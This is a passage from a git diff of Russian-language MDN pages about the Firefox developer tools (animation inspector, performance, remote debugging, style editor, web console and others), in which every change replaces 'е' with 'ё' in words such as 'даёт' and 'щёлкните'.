lang="ru"><span>Используйте Firefox</span> <span>43</span> <span>или более позднюю версию</span><span>,</span> <span>щёлкните правой кнопкой мыши</span> <span>один из значков</span> <span>и выберите пункт "</span><span>Проверить</span> <span>элемент"</span><span>.</span></span></li> <li><span id="result_box" lang="ru"><span>Вы, вероятно,</span> <span>также хотите</span><span> настроить выбранный</span> <span>узел</span> <span>на один уровень вверх</span><span>,</span> <span>к</span><span> узлу.</span></span> <div class="channel"> </div> </li> @@ -64,7 +64,7 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations <p><img alt="" src="https://mdn.mozillademos.org/files/11929/animation-inspector-44.png" style="display: block; height: 181px; margin-left: auto; margin-right: auto; width: 643px;"></p> -<p><span id="result_box" lang="ru"><span>Он показывает</span> <span>синхронизированный</span> <span>график</span> <span>для каждого</span> <span>перехода</span> <span>CSS</span> <span>свойств</span> <span>участвующих</span> <span>в анимации</span><span>.</span> <span>Шкала времени</span> <span>начинается с</span> <span>начала первого</span> <span>перехода</span><span>,</span> <span>и заканчивается</span> <span>в конце</span> <span>последнего</span> <span>перехода</span><span>,</span> <span>и</span> <span>помечена</span> <span>маркерами</span> <span>каждые 100 миллисекунд</span> <span>(</span><span>это</span> <span>зависит от</span> <span>временного масштаба</span> <span>анимации</span> <span>отображаемой в данный момент</span><span>)</span><span>.</span> <span>Вы можете</span> <span>видеть, что</span><span> приведенный выше пример</span> <span>занимает</span> <span>735</span> <span>миллисекунд</span> <span>для запуска</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span>Он показывает</span> <span>синхронизированный</span> <span>график</span> <span>для каждого</span> <span>перехода</span> <span>CSS</span> <span>свойств</span> <span>участвующих</span> <span>в анимации</span><span>.</span> <span>Шкала времени</span> <span>начинается с</span> <span>начала первого</span> <span>перехода</span><span>,</span> <span>и заканчивается</span> <span>в конце</span> <span>последнего</span> <span>перехода</span><span>,</span> <span>и</span> <span>помечена</span> <span>маркерами</span> <span>каждые 100 миллисекунд</span> <span>(</span><span>это</span> <span>зависит от</span> <span>временного масштаба</span> <span>анимации</span> <span>отображаемой в данный момент</span><span>)</span><span>.</span> <span>Вы можете</span> <span>видеть, что</span><span> приведённый выше пример</span> <span>занимает</span> <span>735</span> <span>миллисекунд</span> <span>для запуска</span><span>.</span></span></p> <p><span id="result_box" lang="ru"><span>Каждая анимация</span> <span>или</span> <span>переход</span> <span>показан в виде</span> <span>горизонтальной полосы</span><span>, установленной</span> <span>по</span> <span>шкале времени</span><span>:</span></span></p> @@ -81,7 +81,7 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations <div id="tts_button"><span id="result_box" lang="ru"><span>Если в анимации</span> <span>или</span> <span>переходе</span> <span>произошла задержка</span><span>,</span> <span>это</span> <span>показано в виде</span> <span>заштрихованной</span> <span>части</span> <span>панели</span></span>.</div> </div> </li> - <li><span id="result_box" lang="ru"><span>При наведении курсора на</span> <span>панели</span> <span>появляется</span> <span>подсказка</span><span>, что дает вам</span> <span>более подробную информацию</span> <span>о</span> <span>анимации</span> <span>или</span> <span>переходе</span></span> .</li> + <li><span id="result_box" lang="ru"><span>При наведении курсора на</span> <span>панели</span> <span>появляется</span> <span>подсказка</span><span>, что даёт вам</span> <span>более подробную информацию</span> <span>о</span> <span>анимации</span> <span>или</span> <span>переходе</span></span> .</li> </ul> <p>С левой стороны бара переключатель для узлов относящихся к анимации. если навести курсор на переключатель, то выделится узел на странице. <span id="result_box" lang="ru"><span>Нажмите</span> <span>переключатель</span> <span>для выбора</span> <span>узла в</span> <span>инспекторе</span></span></p> @@ -112,7 +112,7 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations <li><span id="result_box" lang="ru"><span>текущее время</span> <span>в анимации</span> <span>отображается</span> <span>(новое в</span> <span>Firefox</span> <span>44</span><span>)</span><span>.</span></span></li> </ul> -<p><span id="result_box" lang="ru"><span>И, наконец</span><span>,</span> <span>если вы</span> <span>щелкните внутри</span> <span>панели в верхней</span> <span>части шкалы времени</span><span>,</span> <span>вы получаете</span> <span>скруббер</span><span>, который</span> <span>вы можете перетащить</span> <span>влево и вправо</span> <span>для перемотки анимации</span> <span>назад и вперед</span><span>,</span> <span>и</span> <span>точно определить</span><span>, что происходит</span><span>, когда</span><span>:</span></span></p> +<p><span id="result_box" lang="ru"><span>И, наконец</span><span>,</span> <span>если вы</span> <span>щёлкните внутри</span> <span>панели в верхней</span> <span>части шкалы времени</span><span>,</span> <span>вы получаете</span> <span>скруббер</span><span>, который</span> <span>вы можете перетащить</span> <span>влево и вправо</span> <span>для перемотки анимации</span> <span>назад и вперёд</span><span>,</span> <span>и</span> <span>точно определить</span><span>, что происходит</span><span>, когда</span><span>:</span></span></p> <p>{{EmbedYouTube("1hqNaMsB48g")}}</p> diff --git a/files/ru/tools/performance/index.html b/files/ru/tools/performance/index.html index ac389754f9..5e443d707e 100644 --- a/files/ru/tools/performance/index.html +++ b/files/ru/tools/performance/index.html @@ -4,13 +4,13 @@ slug: Tools/Performance translation_of: Tools/Performance original_slug: Tools/Производительность --- -<div>{{ToolsSidebar}}</div><p>Инструмент даёт Вам понять общую отзывчивость вашего сайта, JavaScript и общее представление о разметке. С помощью инструмента производительности Вы создадите запись или профиль своего сайта за определенный промежуток времени. Затем, инструмент покажет Вам действия браузера и график смены частоты кадров, поверх профиля, рендера Вашего сайта.</p> +<div>{{ToolsSidebar}}</div><p>Инструмент даёт Вам понять общую отзывчивость вашего сайта, JavaScript и общее представление о разметке. С помощью инструмента производительности Вы создадите запись или профиль своего сайта за определённый промежуток времени. Затем, инструмент покажет Вам действия браузера и график смены частоты кадров, поверх профиля, рендера Вашего сайта.</p> <p>Вы получите четыре набора инструментов для более подробного изучения аспектов профиля:</p> <ul> <li> <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> (Водопад) показывает различные операции браузера, например, выполняет макет, JavaScript, перерисовывает и собирает мусор</li> - <li><a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a> (Дерево вызова) показывает функции JavaScript, в которых браузер провел большую часть своего времени</li> + <li><a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a> (Дерево вызова) показывает функции JavaScript, в которых браузер провёл большую часть своего времени</li> <li><a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a> (Пламенный График) показывает стек вызовов JavaScript над конечной записью.</li> <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Allocations">Allocations</a>. В этом представлении отображаются распределения кучи, сделанные вашим кодом в ходе записи. Это представление появляется только в том случае, если вы отметили «Записать выделение» в настройках инструмента «Производительность».</li> </ul> diff --git a/files/ru/tools/performance/waterfall/index.html b/files/ru/tools/performance/waterfall/index.html index d5f821478a..9489c9f740 100644 --- a/files/ru/tools/performance/waterfall/index.html +++ b/files/ru/tools/performance/waterfall/index.html @@ -5,7 +5,7 @@ translation_of: Tools/Performance/Waterfall original_slug: Tools/Производительность/Waterfall --- <div>{{ToolsSidebar}}</div><div class="summary"> -<p>Водопад (Waterfall) дает вам представление о различных процессах, которые происходят внутри браузера, когда вы открывайте ваш сайт или запускаете ваше приложение. Он основан на идее разделения всех происходящих внутри браузера процессов на различные типы - запуск JavaScript, обновление layout и так далее - и что в любой момент времени браузер выполняет один из этих процессов.</p> +<p>Водопад (Waterfall) даёт вам представление о различных процессах, которые происходят внутри браузера, когда вы открывайте ваш сайт или запускаете ваше приложение. Он основан на идее разделения всех происходящих внутри браузера процессов на различные типы - запуск JavaScript, обновление layout и так далее - и что в любой момент времени браузер выполняет один из этих процессов.</p> <p>Поэтому если вы увидите признаки проблем с производительностью - например, падения частоты кадров - вы можете запустить Waterfall, чтобы увидеть, что делает браузер в этот момент.</p> </div> diff --git a/files/ru/tools/remote_debugging/debugging_firefox_desktop/index.html b/files/ru/tools/remote_debugging/debugging_firefox_desktop/index.html index 3f4cd3c478..33a107cc34 100644 --- a/files/ru/tools/remote_debugging/debugging_firefox_desktop/index.html +++ b/files/ru/tools/remote_debugging/debugging_firefox_desktop/index.html @@ -67,7 +67,7 @@ translation_of: Tools/Remote_Debugging/Debugging_Firefox_Desktop <ul> <li>Под "Available remote tabs" (Доступные удалённые вкладки) находится список всех вкладок <em>отлаживаемого</em>. Кликните в одну для соединения Инструментов разработчика Firefox c ней.</li> - <li>Под "Available remote add-ons" (Доступные удаленные дополнения) находится список всех дополнений на <em>отлаживаемом</em>. Кликните в один для соединения Инструментов разработчика Firefox.</li> + <li>Под "Available remote add-ons" (Доступные удалённые дополнения) находится список всех дополнений на <em>отлаживаемом</em>. Кликните в один для соединения Инструментов разработчика Firefox.</li> <li>Под "Available remote processes" (Доступные удалённые процессы) - список процессов, запущенных в Firefox. Кликните "Main process" (Главный процесс) для соединения Инструментов разработчика с самим браузером.</li> </ul> diff --git a/files/ru/tools/remote_debugging/index.html b/files/ru/tools/remote_debugging/index.html index 1f99c5e8df..06b878cb3c 100644 --- a/files/ru/tools/remote_debugging/index.html +++ b/files/ru/tools/remote_debugging/index.html @@ -8,7 +8,7 @@ tags: - инструменты translation_of: Tools/Remote_Debugging --- -<div>{{ToolsSidebar}}</div><p>Вы можете использовать <a href="/ru/docs/Tools">Инструменты разработчика Firefox</a> на вашем компьютере для отладки веб-сайтов и веб-приложений, запущенных в других браузерах или программах. Другие браузеры могут быть на том же устройстве, где запущены Инструменты, или же на другом, например, на телефоне, подключенном через USB.</p> +<div>{{ToolsSidebar}}</div><p>Вы можете использовать <a href="/ru/docs/Tools">Инструменты разработчика Firefox</a> на вашем компьютере для отладки веб-сайтов и веб-приложений, запущенных в других браузерах или программах. Другие браузеры могут быть на том же устройстве, где запущены Инструменты, или же на другом, например, на телефоне, подключённом через USB.</p> <p>Конкретные инструкции по подключению Инструментов специфичны для каждой из сред.</p> @@ -37,7 +37,7 @@ translation_of: Tools/Remote_Debugging <p>Экспериментальное дополнение <a href="/en-US/docs/Tools/Valence">Valence</a> позволяет отлаживать веб-сайты в средах выполнения отличных от Gecko, например, Google Chrome Desktop, Chrome для Android или Safari на iOS.</p> -<p>Valence по умолчанию включен в <a href="/en-US/Firefox/Developer_Edition">Firefox Developer Edition</a>.</p> +<p>Valence по умолчанию включён в <a href="/en-US/Firefox/Developer_Edition">Firefox Developer Edition</a>.</p> <ul> <li><a href="/en-US/docs/Tools/Valence">Chrome для Android</a></li> diff --git a/files/ru/tools/responsive_design_mode/index.html b/files/ru/tools/responsive_design_mode/index.html index 8ca0c64155..0d62c5d10d 100644 --- a/files/ru/tools/responsive_design_mode/index.html +++ b/files/ru/tools/responsive_design_mode/index.html @@ -16,7 +16,7 @@ original_slug: Tools/Responsive_Design_View --- <div>{{ToolsSidebar}}</div> -<p><a href="/ru/docs/Web_Development/Responsive_Web_design">Адаптивные дизайны </a>(<a href="/en-US/docs/Web_Development/Responsive_Web_design">Responsive designs</a>) адаптируются к различным размерам экрана, чтобы обеспечить подходящее отображение для различных видов устройств, таких как мобильные телефоны или планшеты. Режим адаптивного дизайна даёт легкую возможность увидеть, как ваш сайт или веб-приложение будет выглядеть на экранах разных размеров.</p> +<p><a href="/ru/docs/Web_Development/Responsive_Web_design">Адаптивные дизайны </a>(<a href="/en-US/docs/Web_Development/Responsive_Web_design">Responsive designs</a>) адаптируются к различным размерам экрана, чтобы обеспечить подходящее отображение для различных видов устройств, таких как мобильные телефоны или планшеты. Режим адаптивного дизайна даёт лёгкую возможность увидеть, как ваш сайт или веб-приложение будет выглядеть на экранах разных размеров.</p> <p>{{EmbedYouTube("LBcE72sG2s8")}}</p> diff --git a/files/ru/tools/shader_editor/index.html b/files/ru/tools/shader_editor/index.html index 565d6c6b55..fce013a794 100644 --- a/files/ru/tools/shader_editor/index.html +++ b/files/ru/tools/shader_editor/index.html @@ -25,7 +25,7 @@ translation_of: Tools/Shader_Editor <p><img alt="" src="https://mdn.mozillademos.org/files/6421/shader-editor-open.png" style="display: block; margin-left: auto; margin-right: auto;"></p> -<p>Для начала откройте страницу, которая создает контекст WebGL и загружает в него программу. Приведенные ниже скриншоты взяты из демонстрации <a href="http://www.unrealengine.com/html5/">Unreal Engine</a>.</p> +<p>Для начала откройте страницу, которая создаёт контекст WebGL и загружает в него программу. Приведённые ниже скриншоты взяты из демонстрации <a href="http://www.unrealengine.com/html5/">Unreal Engine</a>.</p> <p>Перед Вами появится рабочее окно, разделённое на три части: список шейдерных программ GLSL (слева), вершинный шейдер текущей выбранной программы (по центру), а также фрагментный шейдер текущей выбранной программы (справа):</p> diff --git a/files/ru/tools/storage_inspector/index.html b/files/ru/tools/storage_inspector/index.html index 0356665fea..afa2417aaf 100644 --- a/files/ru/tools/storage_inspector/index.html +++ b/files/ru/tools/storage_inspector/index.html @@ -4,7 +4,7 @@ slug: Tools/Storage_Inspector translation_of: Tools/Storage_Inspector --- <div>{{ToolsSidebar}}</div><div class="geckoVersionNote"> -<p>Инспектор хранилища отключен по умолчанию. Включите его в <a href="/en-US/docs/Tools_Toolbox#Settings">Developer Tools Settings</a>.</p> +<p>Инспектор хранилища отключён по умолчанию. Включите его в <a href="/en-US/docs/Tools_Toolbox#Settings">Developer Tools Settings</a>.</p> </div> <p>Инспектор хранилища позволяет проверить различные типы хранилищ, которые веб-страница может использовать. В настоящее время он может быть использован для проверки следующих типов хранения:</p> @@ -18,7 +18,7 @@ translation_of: Tools/Storage_Inspector <li><em>IndexedDB</em> - Всех <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> баз данных, созданных по странице, каких-либо элементов iframe внутри страниц, их объектов и элементов.</li> </ul> -<p>На данный момент, инспектор хранения дает представление только для чтения памяти. Но мы работаем, чтобы позволить вам редактировать содержимое хранилища в будущих выпусках.</p> +<p>На данный момент, инспектор хранения даёт представление только для чтения памяти. Но мы работаем, чтобы позволить вам редактировать содержимое хранилища в будущих выпусках.</p> <h2 id="Открыть_инспектор_хранилища">Открыть инспектор хранилища</h2> diff --git a/files/ru/tools/style_editor/index.html b/files/ru/tools/style_editor/index.html index e92e03d180..3fade8632c 100644 --- a/files/ru/tools/style_editor/index.html +++ b/files/ru/tools/style_editor/index.html @@ -41,7 +41,7 @@ translation_of: Tools/Style_Editor <h2 id="Панель_таблицы_стилей">Панель таблицы стилей</h2> -<p>Панель стилей слева, перечисляет все таблицы стилей в текущем документе. Вы можете быстро включать и выключать стили листа нажав на против него значок глаза. <span id="result_box" lang="ru"><span class="hps">Вы</span> <span class="hps">можете сохранить</span> <span class="hps">любые изменения</span><span>, внесенные в</span> <span class="hps">таблицу стилей</span> <span class="hps">на локальном компьютере</span><span>, нажав</span> <span class="hps">кнопку Сохранить</span> <span class="hps">в</span> <span class="hps">правом нижнем</span> <span class="hps">углу</span> возле <span class="alt-edited hps">каждого листа</span> <span class="hps">в</span> <span class="hps">списке.</span></span></p> +<p>Панель стилей слева, перечисляет все таблицы стилей в текущем документе. Вы можете быстро включать и выключать стили листа нажав на против него значок глаза. <span id="result_box" lang="ru"><span class="hps">Вы</span> <span class="hps">можете сохранить</span> <span class="hps">любые изменения</span><span>, внесённые в</span> <span class="hps">таблицу стилей</span> <span class="hps">на локальном компьютере</span><span>, нажав</span> <span class="hps">кнопку Сохранить</span> <span class="hps">в</span> <span class="hps">правом нижнем</span> <span class="hps">углу</span> возле <span class="alt-edited hps">каждого листа</span> <span class="hps">в</span> <span class="hps">списке.</span></span></p> <h2 id="Панель_редактора"><span class="short_text" id="result_box" lang="ru"><span>Панель редактора</span></span></h2> @@ -57,7 +57,7 @@ translation_of: Tools/Style_Editor <h2 id="Боковая_панель_media">Боковая панель @media</h2> -<p><span id="result_box" lang="ru"><span class="hps">С</span> <span class="hps">Firefox</span> <span class="hps">33</span> <span class="hps">и далее,</span> <span class="hps">Редактор</span> <span class="hps">Стилей</span> <span class="hps">отображает</span> <span class="alt-edited hps">боковую панель</span> <span class="hps">на</span> <span class="hps">правой</span> <span class="hps">стороне</span><span>, где</span> <span class="hps">текущий лист</span> <span class="hps">содержит какие-либо</span></span> <a href="/en-US/docs/Web/Guide/CSS/Media_queries"><code>@media</code> правила</a>. <span id="result_box" lang="ru"><span class="alt-edited">Боковая панель</span> <span class="hps">содержит список</span> <span class="hps">правил</span> <span class="hps">и</span> <span class="hps">ссылку на</span> <span class="alt-edited hps">строки</span> <span class="hps">таблицы</span><span>, где</span> <span class="hps">правило</span> <span class="hps">определено.</span> <span class="hps">Щелкните элемент</span><span>, чтобы перейти к</span> <span class="hps">этому правилу</span> <span class="hps">в листе</span><span>.</span></span>Состояние текста остаётся серым, если запрос медиа в настоящее время не применяется.</p> +<p><span id="result_box" lang="ru"><span class="hps">С</span> <span class="hps">Firefox</span> <span class="hps">33</span> <span class="hps">и далее,</span> <span class="hps">Редактор</span> <span class="hps">Стилей</span> <span class="hps">отображает</span> <span class="alt-edited hps">боковую панель</span> <span class="hps">на</span> <span class="hps">правой</span> <span class="hps">стороне</span><span>, где</span> <span class="hps">текущий лист</span> <span class="hps">содержит какие-либо</span></span> <a href="/en-US/docs/Web/Guide/CSS/Media_queries"><code>@media</code> правила</a>. <span id="result_box" lang="ru"><span class="alt-edited">Боковая панель</span> <span class="hps">содержит список</span> <span class="hps">правил</span> <span class="hps">и</span> <span class="hps">ссылку на</span> <span class="alt-edited hps">строки</span> <span class="hps">таблицы</span><span>, где</span> <span class="hps">правило</span> <span class="hps">определено.</span> <span class="hps">Щёлкните элемент</span><span>, чтобы перейти к</span> <span class="hps">этому правилу</span> <span class="hps">в листе</span><span>.</span></span>Состояние текста остаётся серым, если запрос медиа в настоящее время не применяется.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/8365/style-editor-media-sidebar-detail.png" style="display: block; margin-left: auto; margin-right: auto;">Б<span id="result_box" lang="ru"><span class="alt-edited hps">оковая панель<code> медиа </code></span><span class="hps">особенно хорошо работает</span> <span class="hps">с </span></span><a href="https://developer.mozilla.org/en-US/docs/Tools/Responsive_Design_View">Responsive Design View</a> <span lang="ru"> <span class="hps">для создания и</span> <span class="hps">отладки</span> <span class="hps">мобильных</span> <span class="alt-edited hps">макетов</span></span>:</p> diff --git a/files/ru/tools/tools_toolbox/index.html b/files/ru/tools/tools_toolbox/index.html index 731de81e98..024d412795 100644 --- a/files/ru/tools/tools_toolbox/index.html +++ b/files/ru/tools/tools_toolbox/index.html @@ -44,7 +44,7 @@ translation_of: Tools/Tools_Toolbox <li><a href="/ru/docs/Tools/Network_Monitor" title="/ru/docs/Performance/Profiling_with_the_Built-in_Profiler">Монитор Сетевых Параметров</a></li> </ul> -<p>Учтите, что в этом разделе не всегда могут быть видны все инструменты Панели: в этом разделе показываются только те инструменты, которые доступные в данном контексте (например, пока еще не все инструменты поддерживают функцию удалённой отладки. Таким образом, если элементом отладки, из-за которого открыта Панель инструментов, является объект, который не поддерживает функцию отладки Firefox, то в этом разделе будут показаны не все инструменты Основного набора).</p> +<p>Учтите, что в этом разделе не всегда могут быть видны все инструменты Панели: в этом разделе показываются только те инструменты, которые доступные в данном контексте (например, пока ещё не все инструменты поддерживают функцию удалённой отладки. Таким образом, если элементом отладки, из-за которого открыта Панель инструментов, является объект, который не поддерживает функцию отладки Firefox, то в этом разделе будут показаны не все инструменты Основного набора).</p> <h3 id="Дополнительные_инструменты">Дополнительные инструменты</h3> @@ -159,11 +159,11 @@ translation_of: Tools/Tools_Toolbox <h3 id="Расширенные_настройки">Расширенные настройки</h3> <ul> - <li><em>Отключить кэш</em>: позволяет отключить кэш браузера, чтобы определить скорость загрузки всех данных из сети. Начиная с Firefox 33 и новее эта настройка сохраняемая. Это означает, что если Вы отключите кэш, закроете инструменты разработчика и откроете снова, то обнаружите, что кэш все еще отключен. Тем не менее кэширование автоматически будет включено когда инструменты разработчика закрыты.</li> + <li><em>Отключить кэш</em>: позволяет отключить кэш браузера, чтобы определить скорость загрузки всех данных из сети. Начиная с Firefox 33 и новее эта настройка сохраняемая. Это означает, что если Вы отключите кэш, закроете инструменты разработчика и откроете снова, то обнаружите, что кэш все ещё отключён. Тем не менее кэширование автоматически будет включено когда инструменты разработчика закрыты.</li> <li><em>Отключить JavaScript</em>: позволяет выключить JavaScript (требуется перезагрузить страницу)</li> <li><em>Enable Service Workers over HTTP:</em> enable Service Worker registrations from insecure websites</li> <li><em>Включить отладку chrome и дополнений</em>: позволяет инструментам разработчика получить доступ к контексту самого браузера, а не только веб контента</li> - <li><em>Включить удаленную отладку</em>: позволяет выполнять <a href="/ru/docs/Tools/Remote_Debugging">отладку удаленных экземпляров Firefox</a> с помощью инструментов разработчика</li> + <li><em>Включить удалённую отладку</em>: позволяет выполнять <a href="/ru/docs/Tools/Remote_Debugging">отладку удалённых экземпляров Firefox</a> с помощью инструментов разработчика</li> </ul> <h2 id="Главная_панель">Главная панель</h2> diff --git a/files/ru/tools/web_audio_editor/index.html b/files/ru/tools/web_audio_editor/index.html index 67a0751ba7..0ece177fa3 100644 --- a/files/ru/tools/web_audio_editor/index.html +++ b/files/ru/tools/web_audio_editor/index.html @@ -20,13 +20,13 @@ translation_of: Tools/Web_Audio_Editor <p><span id="result_box" lang="ru"><span>Разработчик соединяет узлы в виде графика, а полный граф определяет поведение аудиопотока.</span></span></p> -<p><span id="result_box" lang="ru"><span>Web Audio Editor исследует аудиоконтекст, созданный на странице, и обеспечивает визуализацию его графика.</span> <span>Это дает вам представление о его работе на высоком уровне и позволяет вам убедиться, что все узлы подключены так, как вы ожидаете.</span> <span>Затем вы можете изучить и отредактировать свойства AudioParam для каждого узла на графике.</span> <span>Некоторые свойства non-AudioParam, например свойство типа OscillatorNode, отображаются, и вы также можете их редактировать.</span></span></p> +<p><span id="result_box" lang="ru"><span>Web Audio Editor исследует аудиоконтекст, созданный на странице, и обеспечивает визуализацию его графика.</span> <span>Это даёт вам представление о его работе на высоком уровне и позволяет вам убедиться, что все узлы подключены так, как вы ожидаете.</span> <span>Затем вы можете изучить и отредактировать свойства AudioParam для каждого узла на графике.</span> <span>Некоторые свойства non-AudioParam, например свойство типа OscillatorNode, отображаются, и вы также можете их редактировать.</span></span></p> -<p><span id="result_box" lang="ru"><span>Этот инструмент все еще экспериментальный.</span></span> <span id="result_box" lang="ru"><span>Если вы найдете ошибки, мы будем рады,</span></span> <a class="external external-icon" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&component=Developer%20Tools%3A%20Web%20Audio%20Editor">если вы отправите их в Bugzilla</a>. <span id="result_box" lang="ru"><span>Если у вас есть вопросы или предложения по новым функциям, </span></span> <a href="http://ffdevtools.uservoice.com/forums/246087-firefox-developer-tools-ideas">ffdevtools.uservoice.com</a> или <a href="http://twitter.com/firefoxdevtools">Twitter</a> <span id="result_box" lang="ru"><span>отличные места для их регистрации.</span></span></p> +<p><span id="result_box" lang="ru"><span>Этот инструмент все ещё экспериментальный.</span></span> <span id="result_box" lang="ru"><span>Если вы найдёте ошибки, мы будем рады,</span></span> <a class="external external-icon" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&component=Developer%20Tools%3A%20Web%20Audio%20Editor">если вы отправите их в Bugzilla</a>. <span id="result_box" lang="ru"><span>Если у вас есть вопросы или предложения по новым функциям, </span></span> <a href="http://ffdevtools.uservoice.com/forums/246087-firefox-developer-tools-ideas">ffdevtools.uservoice.com</a> или <a href="http://twitter.com/firefoxdevtools">Twitter</a> <span id="result_box" lang="ru"><span>отличные места для их регистрации.</span></span></p> <h2 id="Открытие_веб-аудиоредактора"><span class="short_text" id="result_box" lang="ru"><span>Открытие веб-аудиоредактора</span></span></h2> -<p><span id="result_box" lang="ru"><span>Web Audio Editor по умолчанию</span></span><span lang="ru"><span> не включен в Firefox 32. Чтобы включить его, откройте Настройки инструмента разработчика и отметьте «Web Audio».</span> <span>Теперь на панели инструментов Toolbox должна быть дополнительная вкладка с надписью «Web Audio».</span> <span>Щелкните вкладку и загрузите страницу, которая создает звуковой контекст.</span> <span>Два хороших демки:</span></span></p> +<p><span id="result_box" lang="ru"><span>Web Audio Editor по умолчанию</span></span><span lang="ru"><span> не включён в Firefox 32. Чтобы включить его, откройте Настройки инструмента разработчика и отметьте «Web Audio».</span> <span>Теперь на панели инструментов Toolbox должна быть дополнительная вкладка с надписью «Web Audio».</span> <span>Щёлкните вкладку и загрузите страницу, которая создаёт звуковой контекст.</span> <span>Два хороших демки:</span></span></p> <ul> <li><a href="https://github.com/mdn/voice-change-o-matic">Voice-change-O-Matic</a> <span id="result_box" lang="ru"><span> может применять различные эффекты к входу микрофона, а также обеспечивает визуализацию результата</span></span></li> @@ -49,11 +49,11 @@ translation_of: Tools/Web_Audio_Editor <h2 id="Проверка_и_изменение_AudioNodes"><span class="short_text" id="result_box" lang="ru"><span>Проверка и изменение AudioNodes</span></span></h2> -<p><span id="result_box" lang="ru"><span>Если вы нажмете на узел, он подсветится, и вы получите инспектор узла справа.</span> <span>В этом списке перечислены значения свойств AudioParam этого узла.</span> <span>Например, вот как выглядит OscillatorNode:</span></span></p> +<p><span id="result_box" lang="ru"><span>Если вы нажмёте на узел, он подсветится, и вы получите инспектор узла справа.</span> <span>В этом списке перечислены значения свойств AudioParam этого узла.</span> <span>Например, вот как выглядит OscillatorNode:</span></span></p> -<p><img alt="" src="https://mdn.mozillademos.org/files/10173/web-audio-editor-props.png" style="display: block; height: 648px; margin-left: auto; margin-right: auto; width: 868px;"> <span id="result_box" lang="ru"><span>В демоверсии Viplent, параметр частоты изменяется когда пользователь перемещает мышь влево и вправо, и вы можете увидеть это, отраженное в инспекторе узлов.</span> <span>Однако значение не обновляется в реальном времени: вам нужно снова щелкнуть узел, чтобы увидеть обновленное значение.</span></span></p> +<p><img alt="" src="https://mdn.mozillademos.org/files/10173/web-audio-editor-props.png" style="display: block; height: 648px; margin-left: auto; margin-right: auto; width: 868px;"> <span id="result_box" lang="ru"><span>В демоверсии Viplent, параметр частоты изменяется когда пользователь перемещает мышь влево и вправо, и вы можете увидеть это, отражённое в инспекторе узлов.</span> <span>Однако значение не обновляется в реальном времени: вам нужно снова щёлкнуть узел, чтобы увидеть обновлённое значение.</span></span></p> -<p><span id="result_box" lang="ru"><span>Если вы щелкнете значение в инспекторе узлов, вы можете изменить его: нажмите</span></span> <kbd>Enter</kbd> или <kbd>Tab</kbd> <span id="result_box" lang="ru"><span>и новое значение вступит в силу немедленно.</span></span></p> +<p><span id="result_box" lang="ru"><span>Если вы щёлкнете значение в инспекторе узлов, вы можете изменить его: нажмите</span></span> <kbd>Enter</kbd> или <kbd>Tab</kbd> <span id="result_box" lang="ru"><span>и новое значение вступит в силу немедленно.</span></span></p> <h2 id="Обход_узлов"><span class="short_text" id="result_box" lang="ru"><span>Обход узлов</span></span></h2> @@ -63,6 +63,6 @@ translation_of: Tools/Web_Audio_Editor <p><span id="result_box" lang="ru"><span>В панели, которая показывает детали узла, есть кнопка включения / выключения:</span></span></p> -<p><img alt="" src="https://mdn.mozillademos.org/files/10183/web-audio-editor-on-off.png" style="display: block; height: 97px; margin-left: auto; margin-right: auto; width: 316px;"> <span id="result_box" lang="ru"><span>Нажмите на него, и график будет изменен для обхода этого узла, поэтому он больше не будет иметь никакого эффекта.</span> <span>Узлы, которые обойдены, показаны заштрихованным фоном:</span></span></p> +<p><img alt="" src="https://mdn.mozillademos.org/files/10183/web-audio-editor-on-off.png" style="display: block; height: 97px; margin-left: auto; margin-right: auto; width: 316px;"> <span id="result_box" lang="ru"><span>Нажмите на него, и график будет изменён для обхода этого узла, поэтому он больше не будет иметь никакого эффекта.</span> <span>Узлы, которые обойдены, показаны заштрихованным фоном:</span></span></p> <p><img alt="" src="https://mdn.mozillademos.org/files/10181/web-audio-editor-bypassed.png" style="display: block; height: 74px; margin-left: auto; margin-right: auto; width: 348px;"></p> diff --git a/files/ru/tools/web_console/helpers/index.html b/files/ru/tools/web_console/helpers/index.html index fd55c2d723..1a7b9602eb 100644 --- a/files/ru/tools/web_console/helpers/index.html +++ b/files/ru/tools/web_console/helpers/index.html @@ -9,7 +9,7 @@ translation_of: Tools/Web_Console/Helpers --- <div>{{ToolsSidebar}}</div><h2 id="Команды">Команды</h2> -<p>Командная строка JavaScript, предоставляемая Веб-Консолью, предлагает несколько встроенных вспомогательных функций, которые делают определенные задачи проще.</p> +<p>Командная строка JavaScript, предоставляемая Веб-Консолью, предлагает несколько встроенных вспомогательных функций, которые делают определённые задачи проще.</p> <dl> <dt><code>$()</code></dt> @@ -34,7 +34,7 @@ translation_of: Tools/Web_Console/Helpers <dt><code>pprint()</code></dt> <dd>Форматирует указанные значения до читаемого вида; полезно для дампа содержимого объектов и массивов.</dd> <dt><code>help()</code></dt> - <dd>Показывает текст помощи. На самом деле (вот восхитительный пример рекурсии) он приведет вас к этой странице.</dd> + <dd>Показывает текст помощи. На самом деле (вот восхитительный пример рекурсии) он приведёт вас к этой странице.</dd> <dt><code>cd()</code></dt> <dd>Переключает механизм оценки контекста JavaScript к другому айфрейму, имеющемуся на странице. Смотрите страницу <a href="/en-US/docs/Tools/Web_Console#Working_with_iframes">работа с айфреймами</a>.</dd> <dt><code>copy()</code></dt> diff --git a/files/ru/tools/web_console/index.html b/files/ru/tools/web_console/index.html index 727c384d8a..d1c86476c4 100644 --- a/files/ru/tools/web_console/index.html +++ b/files/ru/tools/web_console/index.html @@ -21,7 +21,7 @@ translation_of: Tools/Web_Console <li>Позволяет взаимодействовать с веб-страницей, выполняя выражения JavaScript в её контексте.</li> </ol> -<p>Это часть замены старой <a href="/ru/docs/Error_Console" title="ru/docs/Error_Console">Консоли Ошибок</a>, встроенной в Firefox. Старая Консоль Ошибок выводила ошибки, предупреждения и сообщения от всех веб-страниц, ошибки самого выполнения самого браузера и его дополнений. Из-за этого было трудно выделить, сообщения от конкретной страницы. Новая Веб-консоль всегда привязана к определенной веб-странице и показывает только связанную с 